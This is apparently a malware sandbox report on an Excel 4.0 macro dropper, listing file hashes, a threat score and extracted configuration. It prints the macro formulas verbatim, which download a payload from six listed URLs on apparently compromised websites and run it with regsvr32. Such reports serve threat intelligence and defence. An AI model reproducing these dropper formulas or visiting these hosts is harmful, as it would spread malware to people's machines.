General

  • Target

    8a1c312d68131b68815cb3df69cf471ac2b3c646dcd11cb48f143ac99b84d67d

  • Size

    48KB

  • Sample

    241120-drmhqazgkr

  • MD5

    c7ba582797d2fe7e7ba8db046f4fc96c

  • SHA1

    518172a2614799d8821188d4c8fb5d4f12162b52

  • SHA256

    8a1c312d68131b68815cb3df69cf471ac2b3c646dcd11cb48f143ac99b84d67d

  • SHA512

    cf258e38396e0454f68941c6f0bb20a2f36e7bec13f5dac017e00ab4be0889e06d2bf7928462b7232ee57f93b62e65e751068c177f452d39bca467902f01052c

  • SSDEEP

    768:I2uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:fuTlbMKDNck01u/R2rZyjB+5

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://henrysfreshroast.com/OevI7Yy0i6YShxFl/

http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/

http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/

https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/

http://1000paginas.com/tienda/vWtT/

http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/OevI7Yy0i6YShxFl/","..\si.ocx",0,0) =IF('LGGDGB'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/nnzJJ1rKFD2P/","..\si.ocx",0,0)) =IF('LGGDGB'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/5oTAVJyjDFOllX2uE/","..\si.ocx",0,0)) =IF('LGGDGB'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://winnieswondersaviary.com/wp-content/mxPfty43IionmElgK3h/","..\si.ocx",0,0)) =IF('LGGDGB'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://1000paginas.com/tienda/vWtT/","..\si.ocx",0,0)) =IF('LGGDGB'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://crm.techopesolutions.com/b48om9p6/vquxKuTvTj/","..\si.ocx",0,0)) =IF('LGGDGB'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\si.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://henrysfreshroast.com/OevI7Yy0i6YShxFl/

Targets

    • Target

      8a1c312d68131b68815cb3df69cf471ac2b3c646dcd11cb48f143ac99b84d67d

    • Size

      48KB

    • MD5

      c7ba582797d2fe7e7ba8db046f4fc96c

    • SHA1

      518172a2614799d8821188d4c8fb5d4f12162b52

    • SHA256

      8a1c312d68131b68815cb3df69cf471ac2b3c646dcd11cb48f143ac99b84d67d

    • SHA512

      cf258e38396e0454f68941c6f0bb20a2f36e7bec13f5dac017e00ab4be0889e06d2bf7928462b7232ee57f93b62e65e751068c177f452d39bca467902f01052c

    • SSDEEP

      768:I2uCkFF/vxRhR0KDNWBA7rTj+RYV8Q0RuVBR2jPrtysHRX0BAR5:fuTlbMKDNck01u/R2rZyjB+5

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks